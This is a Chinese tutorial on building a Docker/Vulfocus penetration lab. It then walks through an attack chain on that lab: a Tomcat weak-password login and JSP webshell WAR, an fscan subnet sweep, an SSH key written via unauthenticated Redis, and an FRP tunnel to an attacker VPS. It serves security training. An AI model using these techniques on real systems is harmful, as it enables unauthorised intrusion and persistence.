5分钟构建多层内网靶场:Docker与Vulfocus的高效渗透训练方案

渗透测试的学习过程中,最令人头疼的莫过于搭建一个真实可用的多层内网环境。传统方式需要手动配置多台虚拟机、设置网络拓扑、部署漏洞服务,整个过程往往耗费数小时甚至更久。而现在,通过Docker与Vulfocus的组合,我们可以像搭积木一样快速构建复杂的渗透靶场。

1. 为什么选择Vulfocus作为渗透训练平台

Vulfocus是一个基于Docker的漏洞集成平台,它将各种常见的漏洞环境打包成容器镜像,用户只需简单操作即可启动完整的漏洞场景。与手动搭建相比,Vulfocus具有几个显著优势:

  • 开箱即用的漏洞环境:平台内置了数十种常见漏洞的Docker镜像,从Web应用漏洞到系统服务漏洞一应俱全
  • 灵活的场景编排:可以自由组合多个漏洞环境,构建包含边缘机、内网靶机的多层网络结构
  • 一键重置功能:每次训练后可以快速恢复初始状态,避免反复手动重建环境
  • 团队协作支持:创建的靶场可以分享给其他成员共同练习

对于渗透测试学习者来说,Vulfocus最大的价值在于能够快速构建接近真实企业内网的环境。通过编排不同的漏洞组合,可以模拟从外网渗透到内网横向移动的完整攻击链。

提示:虽然Vulfocus提供了便利的漏洞环境,但请仅在授权范围内使用这些技术进行学习和研究。

2. 快速部署Vulfocus平台

要在本地或服务器上部署Vulfocus,只需要简单的几个Docker命令。以下是详细的部署步骤:

2.1 环境准备

首先确保系统已经安装了Docker引擎。可以通过以下命令检查Docker是否可用:

docker --version

如果尚未安装,可以参考官方文档进行安装。Vulfocus对系统资源有一定要求,建议配置:

  • 至少4GB内存
  • 20GB可用磁盘空间
  • Docker 20.10.0或更高版本

2.2 拉取并运行Vulfocus镜像

执行以下命令拉取最新的Vulfocus镜像:

docker pull vulfocus/vulfocus:latest

镜像下载完成后,使用以下命令启动容器:

docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=你的服务器IP vulfocus/vulfocus

参数说明:

参数 说明
-p 80:80 将容器80端口映射到主机80端口
-v /var/run/docker.sock:/var/run/docker.sock 挂载Docker套接字,允许Vulfocus管理其他容器
-e VUL_IP=你的服务器IP 设置平台访问地址

启动后,通过浏览器访问http://你的服务器IP即可进入Vulfocus管理界面。默认登录凭证为admin/admin,首次登录后请立即修改密码。

3. 构建多层内网渗透场景

Vulfocus最强大的功能是场景编排,让我们看看如何构建一个包含边缘机和内网靶机的多层环境。

3.1 下载所需漏洞镜像

在开始编排前,需要先下载所需的漏洞镜像。Vulfocus提供了丰富的选择:

  • Web应用漏洞:Tomcat弱口令、Jenkins未授权访问等
  • 数据库漏洞:Redis未授权、MySQL弱口令等
  • 系统服务漏洞:SMB远程代码执行、SSH弱口令等

以构建一个包含Tomcat边缘机和Redis内网靶机的场景为例,首先下载这两个镜像:

  1. 在Vulfocus界面中找到Tomcat弱口令和Redis未授权访问的镜像
  2. 点击下载按钮获取镜像
  3. 等待下载完成,可以通过docker images命令验证

3.2 创建自定义网络

为了模拟真实内网环境,我们需要创建独立的Docker网络:

docker network create --subnet=192.168.100.0/24 network3

这个网络将作为内网使用,确保其中的靶机无法直接从外网访问。

3.3 编排多层场景

现在可以开始编排我们的渗透场景:

  1. 在Vulfocus界面点击"场景编排"
  2. 添加第一个节点:Tomcat弱口令漏洞
    • 选择Tomcat镜像
    • 使用默认网桥网络(允许外网访问)
    • 设置节点名称为"边缘机"
  3. 添加第二个节点:Redis未授权访问
    • 选择Redis镜像
    • 使用之前创建的network3网络
    • 取消勾选"是否开放"选项(使其成为纯内网靶机)
  4. 保存场景并发布

这样我们就构建了一个简单的两层网络环境:外网攻击者可以通过Tomcat边缘机进入,然后利用它作为跳板访问内网的Redis服务。

4. 实战渗透演练

有了靶场环境,让我们进行实际的渗透测试演练,体验从外网到内网的完整攻击链。

4.1 突破边缘机

首先针对Tomcat边缘机进行攻击:

  1. 访问Tomcat管理界面(通常为http://靶场IP:8080/manager/html
  2. 尝试使用弱口令(如tomcat/tomcat)登录
  3. 上传精心构造的WAR包获取Webshell
  4. 通过Webshell执行系统命令,获取初始立足点
# 示例:生成简单的JSP Webshell
echo '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > shell.jsp
jar -cvf shell.war shell.jsp

4.2 内网信息收集

获得边缘机控制权后,开始内网探测:

  1. 查看当前网络配置,发现内网网卡
  2. 扫描内网存活主机(如使用fscan工具)
  3. 识别内网服务(特别是Redis服务)
# 在内网边缘机上执行扫描
./fscan -h 192.168.100.0/24

4.3 横向移动到Redis靶机

发现内网Redis服务后,尝试利用未授权漏洞:

  1. 通过边缘机建立到Redis的隧道
  2. 利用Redis未授权写入计划任务或SSH密钥
  3. 获取Redis服务器的控制权
# 通过边缘机连接内网Redis
redis-cli -h 192.168.100.2

# 尝试写入SSH密钥
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n公钥内容\n\n"
save

4.4 建立持久化通道

为了更方便地操作内网,可以建立稳定的隧道:

  1. 在边缘机上传FRP客户端
  2. 配置FRP将内网Redis端口映射到攻击机
  3. 通过隧道直接访问内网服务
# frpc.ini示例配置
[common]
server_addr = 你的VPSIP
server_port = 7000

[redis]
type = tcp
local_ip = 192.168.100.2
local_port = 6379
remote_port = 6379

5. 高级场景设计与优化建议

掌握了基础编排后,可以尝试构建更复杂的场景来提升训练效果。

5.1 设计多层级网络

通过创建多个Docker网络,可以模拟企业常见的多区域网络架构:

  1. DMZ区:放置面向外网的Web应用
  2. 办公区:模拟员工办公网络
  3. 核心区:放置数据库等重要系统
# 创建多个网络
docker network create --subnet=172.16.1.0/24 dmz_net
docker network create --subnet=10.1.1.0/24 office_net
docker network create --subnet=10.2.2.0/24 core_net

5.2 加入防御机制

真实环境中通常存在各种防御措施,可以在靶场中加入:

  • Web应用防火墙(WAF)
  • 终端防护软件
  • 网络入侵检测系统(IDS)

这些可以通过额外的Docker容器实现,增加渗透的挑战性。

5.3 性能优化技巧

当编排复杂场景时,可能会遇到性能问题,以下是一些优化建议:

  • 限制每个容器的资源使用(CPU、内存)
  • 使用轻量级基础镜像(如alpine版本)
  • 关闭不需要的容器服务
  • 定期清理未使用的镜像和容器
# 限制容器资源示例
docker run -d --memory=512m --cpus=1 vulfocus/tomcat-weakpass

在实际使用中,我发现最耗时的部分往往是等待镜像下载。建议提前下载常用的漏洞镜像,或者搭建本地镜像仓库。另外,复杂的网络拓扑虽然更真实,但也会增加排错的难度,建议从简单场景开始,逐步增加复杂度。

更多推荐